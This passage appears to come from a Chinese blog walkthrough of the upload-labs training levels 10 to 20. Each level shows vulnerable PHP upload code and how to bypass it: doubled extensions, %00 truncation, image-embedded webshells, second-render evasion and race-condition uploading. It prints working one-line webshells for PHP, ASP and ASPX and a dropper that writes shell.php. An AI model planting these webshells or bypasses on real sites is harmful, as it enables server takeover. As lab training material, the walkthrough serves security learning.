$file_name = str_ireplace($deny_ext,””, $file_name);
这段代码的意思就是:将出现在黑名单的后缀名替换为空
所以我们可以双写绕过 例如:phphpp 这样后台代码会把php替换为空,在把前面的ph,在把p拼接组成php 突破上传

第十一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这段代码是基于白名单的验证,发现只有jpg,png,gif才能上传 其他的后缀名无法上传
抓个包:

我们看见在上传包中 有上传的地址
我们可以想到用%00截断上传
在前提有两个条件:
1.PHP<5.3.4
2.php的magic_quotes_gpc为OFF状态
先说说什么是%00截断上传:
谈到00截断我们都会想到,有什么0x00截断,%00截断,也有人对两个东西分析一大堆,那么它俩有什么区别呢,什么场合适用哪一个呢?这就要从00截断的原理说起:
其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)
chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。
那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了。PS:这里的空格纯粹只是一个标记符号,便于我们找到位置,其实这里是什么字符都无所谓,只不过空格比较有特异性,方便在HEX中查找位置.
知道了基本原理之后,我们还要分析它怎么起作用,如果按照上述的做法来做,则00绕过只能绕过前端验证,因为如果是后端验证,那么即使后缀被截断了,处理之后为.php,还是会被后端验证拦截,所以不是什么情况下00截断都有用的,不过这里至少可以确定,在绕过前端验证可以用。在文件名中插入空字符进行00截断,只适合前端绕过,后端绕过无效
如果在Burp中直接改filename,根本无法起作用,因为截断的只是后缀名,只能绕过简单的前端验证,到后端碰到上图的代码,在提取上传文件后缀的时候后缀还是.php,肯定会被拦,也就是说这里00截断没有发挥任何“绕过”后端验证的作用。
这里想绕过,必须要知道文件上传的条件:

1.后缀检测,合格则进行上传路径拼接
2.拼接路径和文件名,组成文件上传路径

%u8FD9%u91CC%u51B3%u5B9A%u6587%u4EF6%u4E0A%u4F20%u540E%u88AB%u4FDD%u5B58%u5728%u6587%u4EF6%u5939%u4E2D%u7684%u771F%u5B9E%u540E%u7F00%u540D%u7684%u662F%u6587%u4EF6%u4E0A%u4F20%u8DEF%u5F84%uFF0C%u56E0%u4E3A%u4E0A%u9762%u4E00%u5927%u5806%u4EE3%u7801%u53EA%u4E0D%u8FC7%u662F%u5BF9%u540E%u7F00%u540D%u8FDB%u884C%u5404%u79CD%u5904%u7406%u548C%u9A8C%u8BC1%uFF0C%u8FD9%u91CC%u76F8%u5F53%u4E8E%u4E00%u4E2A%u8FC7%u5B89%u68C0%u7684%u8FC7%u7A0B%uFF0C%u6700%u540E%u51B3%u5B9A%u6587%u4EF6%u5230%u5E95%u662F%u4EC0%u4E48%u540D%u5B57%uFF0C%u4EC0%u4E48%u540E%u7F00%u540D%uFF0C%u8981%u770B**%u201C%u6587%u4EF6%u4E0A%u4F20%u8DEF%u5F84%u201D**

这个源码中的文件路径是上传路径和文件名拼接的,也就是说也许上面的后缀被处理了半天能通过安检了,但是最后上传后的文件后缀却不一定这个被处理了半天的“后缀”,不明白的可以去看看我的上一篇博客。这里拼接的是$file_name这个变量,它和后缀名变量
$file_ext是不同的, $file_name没有经历那一堆安检处理,只是从它身上截取出了一个
$file_ext变量拿去安检,因此这里用 $file_name来拼接路径的话,还是有可能蒙混过关的,比如这里就可以构造
xxx.php.空格. 来进行绕过。 扯远了,回到00截断,说了这么多,也就是说想使用00截断绕过后端验证,除非两个条件之一:
1.路径拼接像上图的代码一样,直接使用的 $file_name这个文件名,而不是 $file_ext和其他什么东西来拼成一个文件名字,这时文件名中还是包含截断字符的,路径拼好之后可以被截断成想要的.php。
2.文件路径可控,比如我可以修改路径拼接的path时,比如抓到的包中存在path: uploads/,就可以直接把路径构造成uploads/xxx.php%00,先构造一个存在截断字符的后缀“等着”真正的文件名,或者后缀名,因为不管它是啥,都会被截断而丢弃,因为这里已经到了“最后阶段”,不会再有安检过程了,这里截断之后的结果就是最终上传的结果,比如下图中,抓到的包里发现了路径,那么使用上面的方法直接改它,就可以成功上传aa.php文件,不管被处理后的文件名是什么,在这里被截断才是真正的“截断”,因为这是在安检(后缀名校验)之后进行的截断,直接决定真实的文件后缀名。
【0x00h和%00】

%u5B83%u4EEC%u6700%u7EC8%u7684%u7ED3%u679C%u90FD%u662F%u4E00%u6837%u7684%uFF0C%u90FD%u4EE3%u8868%u7740chr%280%29%uFF0C%u5373%u7A7A%u5B57%u7B26%uFF0C%u53EA%u4E0D%u8FC7%u4F7F%u7528%u7684%u4F4D%u7F6E%u4E0D%u540C%uFF0C0x00%u4EE3%u886816%u8FDB%u5236%u7684%u7A7A%u5B57%u7B2600%uFF0C%u9700%u8981%u5728HEX%u4E2D%u6539%u4E3A00%uFF0C%u8FDB%u884C%u622A%u65AD%uFF0C%u800C%2500%u662FURL%u89E3%u7801%u4E4B%u524D%u7684%u5B57%u7B26%uFF0C%u5B83%u88AB%u89E3%u7801%u621016%u8FDB%u5236ASCII%u7801%u4E4B%u540E%u5B9E%u9645%u4E0A%u4E5F%u662F0x00%uFF0C%u6240%u4EE5%u5B83%u4EEC%u6700%u7EC8%u90FD%u5BF9%u5E94%u7684%u662F%u7A7A%u5B57%u7B26%uFF0C%u8FD9%u91CC%2500%u53EF%u4EE5%u7528%u5728URL%u4E2D%u5982xx.php%3Ffilename%3Dtest.php%2500.txt%uFF0C%u4E5F%u53EF%u4EE5%u76F4%u63A5%u63D2%u5728Burp%u5305%u4E2D%u7684%u8DEF%u5F84%u4E2D%uFF0C%u5982path%3Dshell.jsp%2500.txt

对于%00截断的利用必须满足是知道上传路径,然后上传路径进行截断

第十二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

看源码这也是%00截断上传的题 只不过这是post提交
抓个包:

看见上传路径在post提交内容中

所以和前一关一样%00截断上传,但是不能直接用%00,因为这是在post表单中,url不会自动解码 所以我们要在hex里面改


第十三关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
?>

根据题目意思,让上传一个图片马到服务器中
图片马的意思就是:一张完整图片中包含一句话木马 但是图片还是能正常显示
图片马的制作:
(1)copy 1.jpg/b+2.php/a shell.jpg
(2)十六进制编辑器编辑添加用010 Editor或winhex等十六进制编辑器打开图片,将一句话木马插入到右边最底层或最上层后保存.

常见的一句话asp一句话 <%eval request(“pass”)%>
aspx一句话 <%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>
php一句话 <?php @eval($_POST[“pass”]);?>

上传之后图片马一般是配合文件包含漏洞,也有少数网站能解析图片马中的php代码,这样的就可以直接用菜刀连接


直接用菜刀连接图片马 虽然可以连接 但是会出错

用文件包含:



第十四关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

这也是图片马上传: getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过

第十五关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过

第十六关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];
    $target_path=UPLOAD_PATH.'/'.basename($filename);
    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);
    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);
            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);
            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);
                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}


二次渲染是指上传文件服务器时,把图片中php代码删去
但是可以经过对比来发现没有渲染的,在没有渲染的部分加入代码

第十七关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

可以上传图片马配合文件包含漏洞 来解析
在一个可以使用竞争上传~
竞争上传原理:
网站逻辑:1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。
我们可以写一个python脚本不断上传一句话,然后利用时间差就可以突破上传
也可以使用bp!!!

利用:
在时间间隙中,不断访问一个恶意文件,这个文件中包含一段创建木马的代码,在不断访问之后
就可以在服务创建这段木马程序
python脚本:

1
2
3
import requests
while True:
requests.get("路径")

上传的文件:
1
2

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

路径就是上传文件的路径,比如:上传的文件名是webshell.php 路径是:upload
构造完整路径就是:http://192.168.1.1/upload-labs/upload/webshell.php

第十八关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

因此我们可以通过条件竞争来上传图片马。

第十九关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
        /*
        $file_name = trim($_POST['save_name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        */
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

trick,move_uploaded_file会忽略掉文件末尾的/.。但是Pass9中的文件名是从$_FILES[‘upload_file’][‘tmp_name’]中获取的,这里是用户可控的。因此构造
/.或者.

第二十关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $is_upload = false;
        $msg = null;
        if(!empty($_FILES['upload_file'])){
            //mime check
            $allow_type = array('image/jpeg','image/png','image/gif');
            if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                $msg = "禁止上传该类型文件!";
            }else{
                //check filename
                $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
                if (!is_array($file)) {
                    $file = explode('.', strtolower($file));
                }
                $ext = end($file);
                $allow_suffix = array('jpg','png','gif');
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                    $file_name = reset($file) . '.' . $file[count($file) - 1];
                    $temp_file = $_FILES['upload_file']['tmp_name'];
                    $img_path = UPLOAD_PATH . '/' .$file_name;
                    if (move_uploaded_file($temp_file, $img_path)) {
                        $msg = "文件上传成功!";
                        $is_upload = true;
                    } else {
                        $msg = "文件上传失败!";
                    }
                }
            }
        }else{
            $msg = "请选择要上传的文件!";
        }
        
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×